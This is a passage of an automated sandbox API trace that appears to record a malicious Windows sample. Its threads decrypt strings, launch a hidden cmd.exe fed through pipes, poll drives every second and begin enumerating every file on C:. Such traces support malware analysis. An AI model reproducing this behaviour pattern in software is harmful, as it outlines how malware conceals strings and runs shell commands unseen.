	[0213.829] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x681250
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x14) returned 0x6813b8
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6813d8
	[0213.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x110fc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x110fc9c | out: phKey=0x110fc9c*=0x1390a0) returned 1
	[0213.829] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0x110fc84, dwFlags=0x0) returned 1
	[0213.829] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6813d8, pdwDataLen=0x110fc50 | out: pbData=0x6813d8, pdwDataLen=0x110fc50) returned 1
	[0213.829] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0213.829] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813d8 | out: hHeap=0x680000) returned 1
	[0213.829] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x681250, nSize=0xa | out: lpDst="") returned 0x1c
	[0213.829] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.829] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x26) returned 0x681250
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x26) returned 0x6813b8
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6813e8
	[0213.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x110fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x110fc98 | out: phKey=0x110fc98*=0x1390a0) returned 1
	[0213.829] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0x110fc80, dwFlags=0x0) returned 1
	[0213.829] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6813e8, pdwDataLen=0x110fc4c | out: pbData=0x6813e8, pdwDataLen=0x110fc4c) returned 1
	[0213.829] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0213.829] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813e8 | out: hHeap=0x680000) returned 1
	[0213.829] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x681250, nSize=0x13 | out: lpDst="") returned 0x1c
	[0213.829] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.829] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x4a) returned 0x6813b8
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4a) returned 0x681410
	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681468
	[0213.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x110fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x110fc98 | out: phKey=0x110fc98*=0x138fe0) returned 1
	[0213.829] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0x110fc80, dwFlags=0x0) returned 1
	[0213.829] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681468, pdwDataLen=0x110fc4c | out: pbData=0x681468, pdwDataLen=0x110fc4c) returned 1
	[0213.829] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.830] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0213.830] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6813b8, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0213.830] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0213.830] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.830] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x681228
	[0213.830] CryptImportKey (in: hProv=0x1267b0, pbData=0x110fc54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x110fcbc | out: phKey=0x110fcbc*=0x139560) returned 1
	[0213.830] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0x110fca4, dwFlags=0x0) returned 1
	[0213.830] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0x110fc70 | out: pbData=0x681228, pdwDataLen=0x110fc70) returned 1
	[0213.830] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.830] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0213.830] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0213.830] Wow64DisableWow64FsRedirection (in: OldValue=0x110fd74 | out: OldValue=0x110fd74*=0x0) returned 1
	[0213.830] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.830] CreatePipe (in: hReadPipe=0x110fd80, hWritePipe=0x110fd84, lpPipeAttributes=0x110fd5c, nSize=0x0 | out: hReadPipe=0x110fd80*=0x228, hWritePipe=0x110fd84*=0x22c) returned 1
	[0213.832] CreatePipe (in: hReadPipe=0x110fd7c, hWritePipe=0x110fd78, lpPipeAttributes=0x110fd5c, nSize=0x0 | out: hReadPipe=0x110fd7c*=0x230, hWritePipe=0x110fd78*=0x234) returned 1
	[0213.832] SetHandleInformation (hObject=0x22c, dwMask=0x1, dwFlags=0x0) returned 1
	[0213.832] SetHandleInformation (hObject=0x230, dwMask=0x1, dwFlags=0x0) returned 1
	[0213.832] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x110fd08*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234), lpProcessInformation=0x110fd4c | out: lpCommandLine=0x0, lpProcessInformation=0x110fd4c*(hProcess=0x23c, hThread=0x238, dwProcessId=0xd5c, dwThreadId=0xd60)) returned 1
	[0213.861] WriteFile (in: hFile=0x22c, lpBuffer=0x681288*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x110fd68, lpOverlapped=0x0 | out: lpBuffer=0x681288*, lpNumberOfBytesWritten=0x110fd68*=0xbc, lpOverlapped=0x0) returned 1
	[0213.861] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xffffffff) 

Thread:
	id = 87
	os_tid = 0xd58

	[0213.861] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0213.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f978, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9e0 | out: phKey=0x124f9e0*=0x1393a0) returned 1
	[0213.861] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x124f9c8, dwFlags=0x0) returned 1
	[0213.861] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0x124f994 | out: pbData=0x681228, pdwDataLen=0x124f994) returned 1
	[0213.861] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.861] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x681250
	[0213.861] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x14) returned 0x681410
	[0213.861] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681430
	[0213.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9b8 | out: phKey=0x124f9b8*=0x1390a0) returned 1
	[0213.861] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0x124f9a0, dwFlags=0x0) returned 1
	[0213.861] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681430, pdwDataLen=0x124f96c | out: pbData=0x681430, pdwDataLen=0x124f96c) returned 1
	[0213.866] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0213.866] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681430 | out: hHeap=0x680000) returned 1
	[0213.866] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x681250, nSize=0xa | out: lpDst="") returned 0x1c
	[0213.866] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0213.866] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x26) returned 0x681250
	[0213.866] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x26) returned 0x681410
	[0213.866] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x681440
	[0213.866] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9b4 | out: phKey=0x124f9b4*=0x138fe0) returned 1
	[0213.866] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0x124f99c, dwFlags=0x0) returned 1
	[0213.867] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681440, pdwDataLen=0x124f968 | out: pbData=0x681440, pdwDataLen=0x124f968) returned 1
	[0213.867] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0213.867] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681440 | out: hHeap=0x680000) returned 1
	[0213.867] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x681250, nSize=0x13 | out: lpDst="") returned 0x1c
	[0213.867] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0213.867] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x681250, Size=0x4a) returned 0x681410
	[0213.867] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4a) returned 0x681468
	[0213.867] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6852d0
	[0213.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9b4 | out: phKey=0x124f9b4*=0x139560) returned 1
	[0213.867] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0x124f99c, dwFlags=0x0) returned 1
	[0213.867] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6852d0, pdwDataLen=0x124f968 | out: pbData=0x6852d0, pdwDataLen=0x124f968) returned 1
	[0213.867] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.867] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6852d0 | out: hHeap=0x680000) returned 1
	[0213.867] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x681410, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0213.867] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0213.867] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.867] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x681228
	[0213.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f970, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9d8 | out: phKey=0x124f9d8*=0x1391a0) returned 1
	[0213.867] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0x124f9c0, dwFlags=0x0) returned 1
	[0213.879] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0x124f98c | out: pbData=0x681228, pdwDataLen=0x124f98c) returned 1
	[0213.879] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0213.880] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0213.880] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0213.880] Wow64DisableWow64FsRedirection (in: OldValue=0x124fa90 | out: OldValue=0x124fa90*=0x0) returned 1
	[0213.880] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.880] CreatePipe (in: hReadPipe=0x124fa9c, hWritePipe=0x124faa0, lpPipeAttributes=0x124fa78, nSize=0x0 | out: hReadPipe=0x124fa9c*=0x244, hWritePipe=0x124faa0*=0x240) returned 1
	[0213.880] CreatePipe (in: hReadPipe=0x124fa98, hWritePipe=0x124fa94, lpPipeAttributes=0x124fa78, nSize=0x0 | out: hReadPipe=0x124fa98*=0x250, hWritePipe=0x124fa94*=0x254) returned 1
	[0213.880] SetHandleInformation (hObject=0x240, dwMask=0x1, dwFlags=0x0) returned 1
	[0213.880] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0213.880] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x124fa24*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x244, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x124fa68 | out: lpCommandLine=0x0, lpProcessInformation=0x124fa68*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd70, dwThreadId=0xd74)) returned 1
	[0214.078] WriteFile (in: hFile=0x240, lpBuffer=0x681350*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x124fa84, lpOverlapped=0x0 | out: lpBuffer=0x681350*, lpNumberOfBytesWritten=0x124fa84*=0x5b, lpOverlapped=0x0) returned 1
	[0214.078] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) returned 0x0
	[0257.177] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x689380
	[0257.177] CryptImportKey (in: hProv=0x1267b0, pbData=0x124f980, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x124f9e8 | out: phKey=0x124f9e8*=0x151040) returned 1
	[0257.177] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x124f9d0, dwFlags=0x0) returned 1
	[0257.177] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0x124f99c | out: pbData=0x689380, pdwDataLen=0x124f99c) returned 1
	[0257.177] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.178] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0257.178] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0257.178] Wow64RevertWow64FsRedirection (OlValue=0x124fa90) returned 1
	[0257.178] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0257.178] CloseHandle (hObject=0x25c) returned 1
	[0257.178] CloseHandle (hObject=0x258) returned 1
	[0257.178] CloseHandle (hObject=0x244) returned 1
	[0257.178] CloseHandle (hObject=0x240) returned 1
	[0257.178] CloseHandle (hObject=0x250) returned 1
	[0257.178] CloseHandle (hObject=0x254) returned 1
	[0257.178] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0257.178] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681350 | out: hHeap=0x680000) returned 1

Thread:
	id = 112
	os_tid = 0xdf4


Thread:
	id = 113
	os_tid = 0xdf8

	[0218.805] GetLogicalDrives () returned 0x4
	[0218.805] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x6886b0
	[0218.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x298f7bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298f824 | out: phKey=0x298f824*=0x1393a0) returned 1
	[0218.805] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x298f80c, dwFlags=0x0) returned 1
	[0218.806] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6886b0, pdwDataLen=0x298f7d8 | out: pbData=0x6886b0, pdwDataLen=0x298f7d8) returned 1
	[0218.806] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.806] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x68a4e8
	[0218.806] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x268
	[0218.806] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x26c
	[0218.806] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688898
	[0218.806] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe) returned 0x6888b0
	[0218.806] ResetEvent (hEvent=0x26c) returned 1
	[0218.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373b2e, lpParameter=0x688898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0218.806] CloseHandle (hObject=0x270) returned 1
	[0218.806] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6887f0
	[0218.806] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe) returned 0x6888c8
	[0218.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373b2e, lpParameter=0x6887f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0218.807] CloseHandle (hObject=0x270) returned 1
	[0218.807] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0xffffffff) 

Thread:
	id = 114
	os_tid = 0xdfc

	[0218.808] GetLogicalDrives () returned 0x4
	[0218.808] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x6852d0
	[0218.808] CryptImportKey (in: hProv=0x1267b0, pbData=0x2a8fb40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8fba8 | out: phKey=0x2a8fba8*=0x1393a0) returned 1
	[0218.808] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x2a8fb90, dwFlags=0x0) returned 1
	[0218.808] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6852d0, pdwDataLen=0x2a8fb5c | out: pbData=0x6852d0, pdwDataLen=0x2a8fb5c) returned 1
	[0218.808] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.808] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x685628
	[0218.808] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x270
	[0218.808] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x274
	[0218.808] GetLogicalDrives () returned 0x4
	[0218.808] Sleep (dwMilliseconds=0x3e8) 
	[0220.561] GetLogicalDrives () returned 0x4
	[0220.561] Sleep (dwMilliseconds=0x3e8) 
	[0222.100] GetLogicalDrives () returned 0x4
	[0222.100] Sleep (dwMilliseconds=0x3e8) 
	[0223.426] GetLogicalDrives () returned 0x4
	[0223.427] Sleep (dwMilliseconds=0x3e8) 
	[0224.828] GetLogicalDrives () returned 0x4
	[0224.828] Sleep (dwMilliseconds=0x3e8) 
	[0225.882] GetLogicalDrives () returned 0x4
	[0225.882] Sleep (dwMilliseconds=0x3e8) 
	[0227.024] GetLogicalDrives () returned 0x4
	[0227.024] Sleep (dwMilliseconds=0x3e8) 
	[0228.322] GetLogicalDrives () returned 0x4
	[0228.322] Sleep (dwMilliseconds=0x3e8) 
	[0229.657] GetLogicalDrives () returned 0x4
	[0229.657] Sleep (dwMilliseconds=0x3e8) 
	[0230.727] GetLogicalDrives () returned 0x4
	[0230.727] Sleep (dwMilliseconds=0x3e8) 
	[0231.800] GetLogicalDrives () returned 0x4
	[0231.800] Sleep (dwMilliseconds=0x3e8) 
	[0232.900] GetLogicalDrives () returned 0x4
	[0232.900] Sleep (dwMilliseconds=0x3e8) 
	[0234.285] GetLogicalDrives () returned 0x4
	[0234.285] Sleep (dwMilliseconds=0x3e8) 
	[0235.299] GetLogicalDrives () returned 0x4
	[0235.299] Sleep (dwMilliseconds=0x3e8) 
	[0236.328] GetLogicalDrives () returned 0x4
	[0236.329] Sleep (dwMilliseconds=0x3e8) 
	[0237.370] GetLogicalDrives () returned 0x4
	[0237.370] Sleep (dwMilliseconds=0x3e8) 
	[0238.399] GetLogicalDrives () returned 0x4
	[0238.399] Sleep (dwMilliseconds=0x3e8) 
	[0239.499] GetLogicalDrives () returned 0x4
	[0239.499] Sleep (dwMilliseconds=0x3e8) 
	[0240.517] GetLogicalDrives () returned 0x4
	[0240.517] Sleep (dwMilliseconds=0x3e8) 
	[0241.559] GetLogicalDrives () returned 0x4
	[0241.559] Sleep (dwMilliseconds=0x3e8) 
	[0242.570] GetLogicalDrives () returned 0x4
	[0242.570] Sleep (dwMilliseconds=0x3e8) 
	[0243.580] GetLogicalDrives () returned 0x4
	[0243.580] Sleep (dwMilliseconds=0x3e8) 
	[0244.597] GetLogicalDrives () returned 0x4
	[0244.597] Sleep (dwMilliseconds=0x3e8) 
	[0245.610] GetLogicalDrives () returned 0x4
	[0245.610] Sleep (dwMilliseconds=0x3e8) 
	[0246.629] GetLogicalDrives () returned 0x4
	[0246.629] Sleep (dwMilliseconds=0x3e8) 
	[0247.753] GetLogicalDrives () returned 0x4
	[0247.753] Sleep (dwMilliseconds=0x3e8) 
	[0248.765] GetLogicalDrives () returned 0x4
	[0248.765] Sleep (dwMilliseconds=0x3e8) 
	[0249.935] GetLogicalDrives () returned 0x4
	[0249.935] Sleep (dwMilliseconds=0x3e8) 
	[0251.061] GetLogicalDrives () returned 0x4
	[0251.062] Sleep (dwMilliseconds=0x3e8) 
	[0252.297] GetLogicalDrives () returned 0x4
	[0252.297] Sleep (dwMilliseconds=0x3e8) 
	[0253.335] GetLogicalDrives () returned 0x4
	[0253.335] Sleep (dwMilliseconds=0x3e8) 
	[0254.463] GetLogicalDrives () returned 0x4
	[0254.463] Sleep (dwMilliseconds=0x3e8) 
	[0255.828] GetLogicalDrives () returned 0x4
	[0255.829] Sleep (dwMilliseconds=0x3e8) 
	[0256.907] GetLogicalDrives () returned 0x4
	[0256.907] Sleep (dwMilliseconds=0x3e8) 
	[0257.974] GetLogicalDrives () returned 0x4
	[0257.974] Sleep (dwMilliseconds=0x3e8) 
	[0259.248] GetLogicalDrives () returned 0x4
	[0259.248] Sleep (dwMilliseconds=0x3e8) 
	[0260.425] GetLogicalDrives () returned 0x4
	[0260.425] Sleep (dwMilliseconds=0x3e8) 
	[0261.436] GetLogicalDrives () returned 0x4
	[0261.436] Sleep (dwMilliseconds=0x3e8) 
	[0262.714] GetLogicalDrives () returned 0x4
	[0262.714] Sleep (dwMilliseconds=0x3e8) 
	[0263.759] GetLogicalDrives () returned 0x4
	[0263.760] Sleep (dwMilliseconds=0x3e8) 
	[0264.794] GetLogicalDrives () returned 0x4
	[0264.794] Sleep (dwMilliseconds=0x3e8) 
	[0265.842] GetLogicalDrives () returned 0x4
	[0265.842] Sleep (dwMilliseconds=0x3e8) 
	[0266.990] GetLogicalDrives () returned 0x4
	[0266.990] Sleep (dwMilliseconds=0x3e8) 
	[0268.055] GetLogicalDrives () returned 0x4
	[0268.055] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 115
	os_tid = 0xe00

	[0218.813] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x38) returned 0x685318
	[0218.813] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x18) returned 0x6886f8
	[0218.813] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x278
	[0218.813] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x27c
	[0218.813] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x280
	[0218.813] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x730048
	[0218.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x288f9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0218.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x288f9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0218.814] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x740050
	[0218.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x288f770 | out: lpFindFileData=0x288f770*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x288f998, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1390a0
	[0218.815] GetLastError () returned 0x0
	[0218.815] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x214) returned 0x68b520
	[0218.815] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0218.815] GetCurrentThreadId () returned 0xe00
	[0218.815] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] GetLastError () returned 0x0
	[0218.816] SetLastError (dwErrCode=0x0) 
	[0218.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x750058
	[0218.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x1393a0
